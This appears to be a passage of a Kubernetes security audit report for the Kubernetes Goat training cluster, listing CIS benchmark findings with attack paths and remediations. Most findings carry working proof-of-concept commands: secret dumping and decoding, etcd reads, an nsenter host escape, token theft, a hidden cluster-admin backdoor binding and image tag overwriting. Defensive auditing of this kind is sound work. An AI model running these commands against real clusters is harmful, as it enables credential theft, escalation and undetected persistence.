kubectl run lateral-test --rm -it --image=nicolaka/netshoot --image-pull-policy=IfNotPresent -n local-path-storage -- /bin/bash
nmap -sT -p 80,443,3306,5432,6379,27017,9200 10.96.0.0/12 --open -T4
redis-cli -h <REDIS_SVC>.local-path-storage.svc.cluster.local

# REMEDIATION: Apply default-deny NetworkPolicy
๐ŸŸ  HIGH
Missing Network PolicyCIS 5.3.2 ยท L2 Namespace/secure-middleware ยท secure-middleware network
โ€บ

Namespace 'secure-middleware' has no NetworkPolicy. All pods can communicate freely โ€” no micro-segmentation.

MEDIUM - No network isolation enables lateral movement, direct database access, and data exfiltration

Apply a default-deny-all NetworkPolicy and allow only required traffic explicitly.
  • No network segmentation โ€” all pods can talk to all pods
  • Lateral movement from any compromised pod to databases/APIs
  • Internal service discovery and port scanning
  • Direct access to sensitive backend services bypassing ingress
  1. Compromise any pod in namespace
  2. Deploy netshoot pod for full network toolkit
  3. Scan internal network for services (nmap, curl, dig)
  4. Access databases, caches, and internal APIs directly
  5. Result: Full lateral movement within cluster
# MEDIUM: Missing Network Policy - Lateral Movement

kubectl get networkpolicies -n secure-middleware
# "No resources found" = VULNERABLE

kubectl run lateral-test --rm -it --image=nicolaka/netshoot --image-pull-policy=IfNotPresent -n secure-middleware -- /bin/bash
nmap -sT -p 80,443,3306,5432,6379,27017,9200 10.96.0.0/12 --open -T4
redis-cli -h <REDIS_SVC>.secure-middleware.svc.cluster.local

# REMEDIATION: Apply default-deny NetworkPolicy
๐ŸŸ  HIGH
Missing Network PolicyCIS 5.3.2 ยท L2 Namespace/default ยท default network
โ€บ

Namespace 'default' has no NetworkPolicy. All pods can communicate freely โ€” no micro-segmentation.

MEDIUM - No network isolation enables lateral movement, direct database access, and data exfiltration

Apply a default-deny-all NetworkPolicy and allow only required traffic explicitly.
  • No network segmentation โ€” all pods can talk to all pods
  • Lateral movement from any compromised pod to databases/APIs
  • Internal service discovery and port scanning
  • Direct access to sensitive backend services bypassing ingress
  1. Compromise any pod in namespace
  2. Deploy netshoot pod for full network toolkit
  3. Scan internal network for services (nmap, curl, dig)
  4. Access databases, caches, and internal APIs directly
  5. Result: Full lateral movement within cluster
# MEDIUM: Missing Network Policy - Lateral Movement

kubectl get networkpolicies -n default
# "No resources found" = VULNERABLE

kubectl run lateral-test --rm -it --image=nicolaka/netshoot --image-pull-policy=IfNotPresent -n default -- /bin/bash
nmap -sT -p 80,443,3306,5432,6379,27017,9200 10.96.0.0/12 --open -T4
redis-cli -h <REDIS_SVC>.default.svc.cluster.local

# REMEDIATION: Apply default-deny NetworkPolicy
๐ŸŸ  HIGH
Missing Network PolicyCIS 5.3.2 ยท L2 Namespace/big-monolith ยท big-monolith network
โ€บ

Namespace 'big-monolith' has no NetworkPolicy. All pods can communicate freely โ€” no micro-segmentation.

MEDIUM - No network isolation enables lateral movement, direct database access, and data exfiltration

Apply a default-deny-all NetworkPolicy and allow only required traffic explicitly.
  • No network segmentation โ€” all pods can talk to all pods
  • Lateral movement from any compromised pod to databases/APIs
  • Internal service discovery and port scanning
  • Direct access to sensitive backend services bypassing ingress
  1. Compromise any pod in namespace
  2. Deploy netshoot pod for full network toolkit
  3. Scan internal network for services (nmap, curl, dig)
  4. Access databases, caches, and internal APIs directly
  5. Result: Full lateral movement within cluster
# MEDIUM: Missing Network Policy - Lateral Movement

kubectl get networkpolicies -n big-monolith
# "No resources found" = VULNERABLE

kubectl run lateral-test --rm -it --image=nicolaka/netshoot --image-pull-policy=IfNotPresent -n big-monolith -- /bin/bash
nmap -sT -p 80,443,3306,5432,6379,27017,9200 10.96.0.0/12 --open -T4
redis-cli -h <REDIS_SVC>.big-monolith.svc.cluster.local

# REMEDIATION: Apply default-deny NetworkPolicy
๐ŸŸ  HIGH
Secrets Read Access GrantedCIS 5.4.1 ยท L1 Role/secret-reader ยท big-monolith rbac
โ€บ

Role 'secret-reader' can read Kubernetes secrets โ€” exposes all credentials stored as secrets. No resourceNames restriction โ€” all secrets in scope are accessible.

HIGH - Read access to all namespace secrets allows direct extraction of database passwords, API keys, TLS private keys, and service account tokens without any additional exploitation step

Add resourceNames to restrict to specific secret names. Grant access only to the secrets the workload actually needs.
  • Can read all secrets in namespace
  • Access to credentials and tokens
  • Database passwords exposed
  • API keys accessible
  1. Obtain ServiceAccount token with secrets/get permission
  2. List all secrets in namespace
  3. Decode base64-encoded secret values
  4. Use stolen credentials to access databases and APIs
  5. Result: Full credential exposure in namespace
# HIGH: Secrets Read Access - Direct Credential Extraction

kubectl get secrets -n big-monolith

# Decode every field of each secret dynamically
SECRET=$(kubectl get secrets -n big-monolith --no-headers \
  -o custom-columns=":metadata.name" | grep -v "default-token" | head -1)
kubectl get secret $SECRET -n big-monolith -o jsonpath="{.data}" | \
  python3 -c "import sys,json,base64; d=json.load(sys.stdin); [print(f'{k}: {base64.b64decode(v).decode()}') for k,v in d.items()]"
๐ŸŸ  HIGH
Secrets Read Access GrantedCIS 5.4.1 ยท L1 ClusterRole/k8scan-go-reader rbac
โ€บ

ClusterRole 'k8scan-go-reader' can read Kubernetes secrets โ€” exposes all credentials stored as secrets. No resourceNames restriction โ€” all secrets in scope are accessible.

HIGH - Read access to all namespace secrets allows direct extraction of database passwords, API keys, TLS private keys, and service account tokens without any additional exploitation step

Add resourceNames to restrict to specific secret names. Grant access only to the secrets the workload actually needs.
  • Can read all secrets in namespace
  • Access to credentials and tokens
  • Database passwords exposed
  • API keys accessible
  1. Obtain ServiceAccount token with secrets/get permission
  2. List all secrets in namespace
  3. Decode base64-encoded secret values
  4. Use stolen credentials to access databases and APIs
  5. Result: Full credential exposure in namespace
# HIGH: Secrets Read Access - Direct Credential Extraction

kubectl get secrets -n default

# Decode every field of each secret dynamically
SECRET=$(kubectl get secrets -n default --no-headers \
  -o custom-columns=":metadata.name" | grep -v "default-token" | head -1)
kubectl get secret $SECRET -n default -o jsonpath="{.data}" | \
  python3 -c "import sys,json,base64; d=json.load(sys.stdin); [print(f'{k}: {base64.b64decode(v).decode()}') for k,v in d.items()]"
๐ŸŸ  HIGH
etcd Encryption at Rest Not ConfiguredCIS 1.2.33 ยท L1 Pod/kube-apiserver-goat-control-plane ยท kube-system control-plane
โ€บ

API server lacks --encryption-provider-config โ€” Kubernetes Secrets are stored in plaintext in etcd. Any etcd backup or direct access exposes all secrets.

HIGH - Secrets stored in plaintext in etcd. Any etcd backup exposes all cluster secrets including service account tokens, TLS private keys, and application credentials.

Configure --encryption-provider-config with AES-GCM or KMS provider to encrypt secrets at rest in etcd.
  • All Kubernetes Secrets stored in plaintext in etcd
  • Any etcd backup or snapshot exposes all secrets
  • Attacker with etcd read access can dump all credentials
  1. Gain read access to etcd (backup file, direct node access, or misconfigured port)
  2. Read all secrets: etcdctl get /registry/secrets --prefix
  3. Decode base64-encoded secret values
  4. Result: All cluster secrets exposed (SA tokens, TLS certs, DB passwords)
# HIGH: etcd Encryption at Rest Not Configured

# Verify secrets are stored in plaintext:
ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets/default/my-secret | hexdump -C | grep -i "password\|token\|key"

# REMEDIATION: Create /etc/kubernetes/enc/enc.yaml with AES-GCM provider,
# then add --encryption-provider-config=/etc/kubernetes/enc/enc.yaml to kube-apiserver
๐ŸŸ  HIGH
hostIPC EnabledCIS 5.2.3 ยท L1 Deployment/system-monitor-deployment ยท default container
โ€บ

Deployment 'system-monitor-deployment' has hostIPC: true โ€” host IPC namespace shared.

HIGH - Access to inter-process communication, shared memory data extraction

Set hostIPC: false in pod template spec.
  • Access host IPC namespace via hostIPC
  • Read shared memory segments from host processes
  • Extract sensitive data from shared memory
  1. Exec into pod with hostIPC
  2. List shared memory segments
  3. Read IPC data from host processes
  4. Result: Information disclosure, potential privilege escalation
# HIGH: hostIPC Enabled - Shared Memory Access

kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor-deployment -- /bin/sh
ipcs -m
ls -la /dev/shm/
strings /dev/shm/* 2>/dev/null | grep -i "password\|token\|secret\|key"

# REMEDIATION: Set hostIPC: false
๐ŸŸ  HIGH
hostPID EnabledCIS 5.2.2 ยท L1 Deployment/system-monitor-deployment ยท default container
โšก CB-001โšก CB-006 โ›“ COMPOUND-1โ›“ COMPOUND-3โ›“ COMPOUND-4โ›“ COMPOUND-10
โ€บ

Deployment 'system-monitor-deployment' has hostPID: true โ€” all host processes visible from containers.

HIGH - Host process access, container escape possible via nsenter, secret extraction from process memory

Set hostPID: false in pod template spec.
  • Access host process namespace via hostPID
  • Root shell on host via nsenter to PID 1
  • View all processes running on the node
  • Extract secrets from process memory
  1. Exec into pod with hostPID enabled
  2. Use nsenter -t 1 -m -u -n -i sh for full host escape
  3. List all host processes and extract tokens
  4. Read process memory and environment variables
  5. Result: Full node compromise
# HIGH: hostPID Enabled - Host Process Access & Escape

kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor-deployment -- nsenter -t 1 -m -u -n -i sh

# Alternative: process memory extraction
kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor-deployment -- /bin/sh
ps aux
cat /proc/$(pgrep kubelet)/environ | tr '\0' '\n'

# REMEDIATION: Set hostPID: false
๐ŸŸก MEDIUM
API Server Audit Logging DisabledCIS 1.2.22 ยท L1 Pod/kube-apiserver-goat-control-plane ยท kube-system control-plane
โ€บ

API server does not have --audit-log-path configured โ€” no audit trail for cluster operations.

MEDIUM - Without API audit logging, security incidents cannot be detected or investigated; attackers operate without leaving any evidence

Configure --audit-log-path and --audit-policy-file on the API server.
  • No audit log means all API server activity is unrecorded
  • Attacker can enumerate secrets, modify RBAC, and create backdoors without evidence
  • Incident response is blind โ€” no log trail to establish compromise timeline
  • Forensic investigation impossible post-compromise without audit logs
  1. Attacker gains API access (stolen token, RBAC misconfiguration)
  2. Creates backdoor admin account, reads all secrets, modifies RBAC
  3. No audit log records any of these actions
  4. Removes their workloads โ€” zero forensic evidence of compromise
  5. Result: Complete compromise with no detection or forensic trail
# MEDIUM: API Server Audit Logging Disabled

# Step 1: Verify audit logging is absent from kube-apiserver flags
kubectl get pod -n kube-system -l component=kube-apiserver \
  -o jsonpath='{.items[0].spec.containers[0].command}' | \
  python3 -c "
import sys, json
cmds = json.load(sys.stdin)
audit_flags = [c for c in cmds if 'audit' in c]
if audit_flags:
    print('Audit flags found:', audit_flags)
else:
    print('NO AUDIT FLAGS โ€” audit logging is DISABLED')
"

# Step 2: Confirm โ€” all of these actions generate ZERO log entries:
kubectl get secrets -A  # Reads all secrets โ€” completely unrecorded

kubectl create clusterrolebinding silent-backdoor \
  --clusterrole=cluster-admin --user=attacker@example.com
# Backdoor created โ€” no SIEM alert, no audit entry, no evidence

kubectl auth can-i '*' '*' --all-namespaces --as=attacker@example.com
# yes = backdoor confirmed, still no log written

kubectl delete clusterrolebinding silent-backdoor
# Cleaned up โ€” zero forensic trace of the entire operation

# Step 3: Check for audit log file or webhook on control-plane node
APISERVER_POD=$(kubectl get pod -n kube-system -l component=kube-apiserver \
  -o jsonpath='{.items[0].metadata.name}')
kubectl get pod $APISERVER_POD -n kube-system -o yaml | \
  grep -E "audit-log-path|audit-policy-file|audit-webhook"
# No output = CONFIRMED disabled

# REMEDIATION: Create /etc/kubernetes/audit-policy.yaml and add to kube-apiserver:
# --audit-log-path=/var/log/kubernetes/audit.log
# --audit-policy-file=/etc/kubernetes/audit-policy.yaml
# --audit-log-maxage=30
# --audit-log-maxbackup=10
๐ŸŸก MEDIUM
API Server Profiling EnabledCIS 1.2.27 ยท L1 Pod/kube-apiserver-goat-control-plane ยท kube-system control-plane
โ€บ

API server --profiling is not explicitly disabled. Profiling endpoints (/debug/pprof) expose heap dumps, goroutine traces, and CPU profiles โ€” useful to attackers for timing attacks or information disclosure.

MEDIUM - Enabled profiling endpoint leaks API server memory contents including transient secrets, tokens, and internal runtime state

Set --profiling=false on the kube-apiserver to disable the profiling endpoint.
  • API server profiling endpoint exposed at /debug/pprof/
  • Profiling data reveals runtime memory layout, goroutine stacks, and heap dumps
  • Memory dumps may contain in-flight secrets, tokens, and certificates
  • CPU and memory profiles leak internal API server logic and request patterns
  1. Access API server with any valid credentials (even limited RBAC)
  2. Fetch goroutine dump: GET /debug/pprof/goroutine?debug=2
  3. Heap dump contains in-memory secrets, decoded tokens, TLS private key material
  4. Result: Information disclosure of API server internals and transient secret data
# MEDIUM: API Server Profiling Enabled - Memory Disclosure

API_SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
TOKEN=$(kubectl create token default -n default 2>/dev/null || \
  kubectl get secret -n kube-system -o jsonpath='{.items[0].data.token}' | base64 --decode)

# Access profiling endpoints (requires API access)
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$API_SERVER/debug/pprof/" 2>&1 | head -20

# Fetch goroutine trace (may contain secret values in stack frames)
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$API_SERVER/debug/pprof/goroutine?debug=2" | grep -i "token\|secret\|password"

# REMEDIATION: Set --profiling=false in kube-apiserver manifest:
# /etc/kubernetes/manifests/kube-apiserver.yaml: add --profiling=false
๐ŸŸก MEDIUM
Container Can Run as RootCIS 5.2.6 ยท L1 Deployment/health-check-deployment ยท default container
โ€บ

Container 'health-check' in Deployment 'health-check-deployment': runAsNonRoot is not set to true.

MEDIUM - Increases attack surface, root execution, writable filesystem

Set securityContext.runAsNonRoot: true
  • Container runs as root (uid=0)
  • Writable filesystem allows backdoor installation
  • No security restrictions applied
  • Service account token accessible for API access
  1. Exploit application vulnerability for shell
  2. Confirm root access with id command
  3. Install backdoor in writable filesystem
  4. Extract service account token
  5. Escalate to cluster-level access
# MEDIUM: Container Running as Root

kubectl exec -it deploy/health-check-deployment -n default -c health-check -- /bin/sh
id
# uid=0(root) โ€” HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true
๐ŸŸก MEDIUM
Container Can Run as RootCIS 5.2.6 ยท L1 Deployment/system-monitor-deployment ยท default container
โ€บ

Container 'system-monitor' in Deployment 'system-monitor-deployment': runAsNonRoot is not set to true.

MEDIUM - Increases attack surface, root execution, writable filesystem

Set securityContext.runAsNonRoot: true
  • Container runs as root (uid=0)
  • Writable filesystem allows backdoor installation
  • No security restrictions applied
  • Service account token accessible for API access
  1. Exploit application vulnerability for shell
  2. Confirm root access with id command
  3. Install backdoor in writable filesystem
  4. Extract service account token
  5. Escalate to cluster-level access
# MEDIUM: Container Running as Root

kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor -- /bin/sh
id
# uid=0(root) โ€” HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true
๐ŸŸก MEDIUM
Controller Manager Profiling EnabledCIS 1.3.2 ยท L1 Pod/kube-controller-manager-goat-control-plane ยท kube-system control-plane
โ€บ

kube-controller-manager --profiling is not disabled. Profiling endpoints expose runtime internals.

HIGH - Controller manager bound to 0.0.0.0 exposes internal metrics and potentially management APIs to any pod or adjacent network

Set --profiling=false on kube-controller-manager.
  • Controller manager metrics endpoint bound to 0.0.0.0 โ€” accessible on all interfaces
  • Metrics exposed at :10257/metrics reveal internal controller state
  • Certificate rotation metrics, reconciliation rates, and API error rates leak operational data
  • From inside the cluster: direct access without authentication on some versions
  1. Access controller manager from inside cluster or node network
  2. curl http://$NODE_IP:10257/metrics โ€” no auth required on older versions
  3. Enumerate certificate names, namespace counts, workload reconciliation state
  4. Use operational intelligence for targeted attacks on weak components
  5. Result: Information disclosure of cluster operational internals
# HIGH: Controller Manager Bound to All Interfaces

# Access controller manager metrics from inside the cluster
kubectl run metrics-test --rm -it --image=alpine --restart=Never -n kube-system -- \
  sh -c "apk add curl -q && curl -sk https://localhost:10257/metrics | head -50"

# From any pod (if network accessible)
NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[?(@.type=="InternalIP")].address}')
curl -sk https://$NODE_IP:10257/metrics | grep -E "^go_|^process_|certificate"

# REMEDIATION: Set --bind-address=127.0.0.1 in controller manager manifest:
# /etc/kubernetes/manifests/kube-controller-manager.yaml:
# - --bind-address=127.0.0.1
๐ŸŸก MEDIUM
Default Service Account UsedCIS 5.1.5 ยท L1 Namespace/secure-middleware ยท secure-middleware rbac
โ€บ

Pods in namespace 'secure-middleware' are using the default service account. If this SA is granted any permissions they apply to all pods in the namespace.

MEDIUM - Default ServiceAccount auto-mounts a token in every pod in the namespace; any application RCE immediately grants API access with whatever permissions the default SA holds

Create dedicated service accounts per workload with automountServiceAccountToken: false and only the permissions needed.
  • Default ServiceAccount used
  • Auto-mounted in all pods
  • Permissions inherited by workloads
  • Increases attack surface
  1. Compromise any pod in namespace (app vuln, RCE, etc.)
  2. Read auto-mounted default SA token from /var/run/secrets/...
  3. Test token permissions: kubectl auth can-i --list
  4. If token has excessive permissions, escalate privileges
  5. Result: Unintended API access via default SA
# MEDIUM: Default Service Account Usage - Unintended API Access

kubectl get rolebindings,clusterrolebindings -A -o json | \
  jq '.items[] | select(.subjects[]?.name=="default") | {name: .metadata.name, ns: .metadata.namespace, role: .roleRef.name}'

kubectl auth can-i --list --as=system:serviceaccount:secure-middleware:default -n secure-middleware

# REMEDIATION: Create dedicated ServiceAccounts for workloads
๐ŸŸก MEDIUM
Default Service Account UsedCIS 5.1.5 ยท L1 Namespace/default ยท default rbac
โ€บ

Pods in namespace 'default' are using the default service account. If this SA is granted any permissions they apply to all pods in the namespace.

MEDIUM - Default ServiceAccount auto-mounts a token in every pod in the namespace; any application RCE immediately grants API access with whatever permissions the default SA holds

Create dedicated service accounts per workload with automountServiceAccountToken: false and only the permissions needed.
  • Default ServiceAccount used
  • Auto-mounted in all pods
  • Permissions inherited by workloads
  • Increases attack surface
  1. Compromise any pod in namespace (app vuln, RCE, etc.)
  2. Read auto-mounted default SA token from /var/run/secrets/...
  3. Test token permissions: kubectl auth can-i --list
  4. If token has excessive permissions, escalate privileges
  5. Result: Unintended API access via default SA
# MEDIUM: Default Service Account Usage - Unintended API Access

kubectl get rolebindings,clusterrolebindings -A -o json | \
  jq '.items[] | select(.subjects[]?.name=="default") | {name: .metadata.name, ns: .metadata.namespace, role: .roleRef.name}'

kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Create dedicated ServiceAccounts for workloads
๐ŸŸก MEDIUM
Image Not Pinned to Digest Deployment/hunger-check-deployment ยท big-monolith image
โ€บ

Container 'hunger-check' in Deployment 'hunger-check-deployment' uses image 'madhuakula/k8s-goat-hunger-check' with a tag (not a digest). Tags are mutable โ€” a registry push can silently change what image is pulled, enabling supply-chain attacks.

MEDIUM - Image pinned by tag only; a mutable tag can be silently replaced with a malicious image and pulled on the next pod restart without any alert

Pin images to their SHA256 digest (e.g. nginx@sha256:abc123...). Use tools like Cosign or docker inspect to get the digest.
  • Image tagged by name (not digest) means pulling the same tag may return different images
  • Registry tag can be overwritten by attacker or compromised CI/CD pipeline
  • Supply chain attack: push malicious image with same tag โ€” next pod restart executes it
  • No cryptographic guarantee that the running image is the intended one
  1. Attacker gains write access to the container registry (stolen credentials, misconfigured registry)
  2. Overwrite the image tag with a backdoored image
  3. On next pod restart or scale-up, the malicious image is pulled and executed
  4. Malicious image phones home, exfiltrates data, or provides reverse shell
  5. Result: Supply chain compromise via tag mutation โ€” indistinguishable from legitimate image
# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment hunger-check-deployment -n big-monolith \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n big-monolith -l app=hunger-check-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)
๐ŸŸก MEDIUM
Image Not Pinned to Digest Deployment/poor-registry-deployment ยท default image
โ€บ

Container 'poor-registry' in Deployment 'poor-registry-deployment' uses image 'madhuakula/k8s-goat-poor-registry' with a tag (not a digest). Tags are mutable โ€” a registry push can silently change what image is pulled, enabling supply-chain attacks.

MEDIUM - Image pinned by tag only; a mutable tag can be silently replaced with a malicious image and pulled on the next pod restart without any alert

Pin images to their SHA256 digest (e.g. nginx@sha256:abc123...). Use tools like Cosign or docker inspect to get the digest.
  • Image tagged by name (not digest) means pulling the same tag may return different images
  • Registry tag can be overwritten by attacker or compromised CI/CD pipeline
  • Supply chain attack: push malicious image with same tag โ€” next pod restart executes it
  • No cryptographic guarantee that the running image is the intended one
  1. Attacker gains write access to the container registry (stolen credentials, misconfigured registry)
  2. Overwrite the image tag with a backdoored image
  3. On next pod restart or scale-up, the malicious image is pulled and executed
  4. Malicious image phones home, exfiltrates data, or provides reverse shell
  5. Result: Supply chain compromise via tag mutation โ€” indistinguishable from legitimate image
# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment poor-registry-deployment -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=poor-registry-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)
๐ŸŸก MEDIUM
Image Not Pinned to Digest Deployment/metadata-db ยท default image
โ€บ

Container 'metadata-db' in Deployment 'metadata-db' uses image 'madhuakula/k8s-goat-metadata-db:latest' with a tag (not a digest). Tags are mutable โ€” a registry push can silently change what image is pulled, enabling supply-chain attacks.

MEDIUM - Image pinned by tag only; a mutable tag can be silently replaced with a malicious image and pulled on the next pod restart without any alert

Pin images to their SHA256 digest (e.g. nginx@sha256:abc123...). Use tools like Cosign or docker inspect to get the digest.
  • Image tagged by name (not digest) means pulling the same tag may return different images
  • Registry tag can be overwritten by attacker or compromised CI/CD pipeline
  • Supply chain attack: push malicious image with same tag โ€” next pod restart executes it
  • No cryptographic guarantee that the running image is the intended one
  1. Attacker gains write access to the container registry (stolen credentials, misconfigured registry)
  2. Overwrite the image tag with a backdoored image
  3. On next pod restart or scale-up, the malicious image is pulled and executed
  4. Malicious image phones home, exfiltrates data, or provides reverse shell
  5. Result: Supply chain compromise via tag mutation โ€” indistinguishable from legitimate image
# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment metadata-db -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=metadata-db \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)
๐ŸŸก MEDIUM
Image Not Pinned to Digest Deployment/system-monitor-deployment ยท default image
โ€บ

Container 'system-monitor' in Deployment 'system-monitor-deployment' uses image 'madhuakula/k8s-goat-system-monitor' with a tag (not a digest). Tags are mutable โ€” a registry push can silently change what image is pulled, enabling supply-chain attacks.

MEDIUM - Image pinned by tag only; a mutable tag can be silently replaced with a malicious image and pulled on the next pod restart without any alert

Pin images to their SHA256 digest (e.g. nginx@sha256:abc123...). Use tools like Cosign or docker inspect to get the digest.
  • Image tagged by name (not digest) means pulling the same tag may return different images
  • Registry tag can be overwritten by attacker or compromised CI/CD pipeline
  • Supply chain attack: push malicious image with same tag โ€” next pod restart executes it
  • No cryptographic guarantee that the running image is the intended one
  1. Attacker gains write access to the container registry (stolen credentials, misconfigured registry)
  2. Overwrite the image tag with a backdoored image
  3. On next pod restart or scale-up, the malicious image is pulled and executed
  4. Malicious image phones home, exfiltrates data, or provides reverse shell
  5. Result: Supply chain compromise via tag mutation โ€” indistinguishable from legitimate image
# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment system-monitor-deployment -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=system-monitor-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)
๐ŸŸก MEDIUM
Image Not Pinned to Digest Deployment/kubernetes-goat-home-deployment ยท default image
โ€บ

Container 'kubernetes-goat-home' in Deployment 'kubernetes-goat-home-deployment' uses image 'madhuakula/k8s-goat-home' with a tag (not a digest). Tags are mutable โ€” a registry push can silently change what image is pulled, enabling supply-chain attacks.

MEDIUM - Image pinned by tag only; a mutable tag can be silently replaced with a malicious image and pulled on the next pod restart without any alert

Pin images to their SHA256 digest (e.g. nginx@sha256:abc123...). Use tools like Cosign or docker inspect to get the digest.
  • Image tagged by name (not digest) means pulling the same tag may return different images
  • Registry tag can be overwritten by attacker or compromised CI/CD pipeline
  • Supply chain attack: push malicious image with same tag โ€” next pod restart executes it
  • No cryptographic guarantee that the running image is the intended one
  1. Attacker gains write access to the container registry (stolen credentials, misconfigured registry)
  2. Overwrite the image tag with a backdoored image
  3. On next pod restart or scale-up, the malicious image is pulled and executed
  4. Malicious image phones home, exfiltrates data, or provides reverse shell
  5. Result: Supply chain compromise via tag mutation โ€” indistinguishable from legitimate image
# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment kubernetes-goat-home-deployment -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=kubernetes-goat-home-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)
๐ŸŸก MEDIUM
Image Not Pinned to Digest Deployment/internal-proxy-deployment ยท default image
โ€บ

Container 'internal-api' in Deployment 'internal-proxy-deployment' uses image 'madhuakula/k8s-goat-internal-api' with a tag (not a digest). Tags are mutable โ€” a registry push can silently change what image is pulled, enabling supply-chain attacks.

MEDIUM - Image pinned by tag only; a mutable tag can be silently replaced with a malicious image and pulled on the next pod restart without any alert

Pin images to their SHA256 digest (e.g. nginx@sha256:abc123...). Use tools like Cosign or docker inspect to get the digest.
  • Image tagged by name (not digest) means pulling the same tag may return different images
  • Registry tag can be overwritten by attacker or compromised CI/CD pipeline
  • Supply chain attack: push malicious image with same tag โ€” next pod restart executes it
  • No cryptographic guarantee that the running image is the intended one
  1. Attacker gains write access to the container registry (stolen credentials, misconfigured registry)
  2. Overwrite the image tag with a backdoored image
  3. On next pod restart or scale-up, the malicious image is pulled and executed
  4. Malicious image phones home, exfiltrates data, or provides reverse shell
  5. Result: Supply chain compromise via tag mutation โ€” indistinguishable from legitimate image
# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment internal-proxy-deployment -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=internal-proxy-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
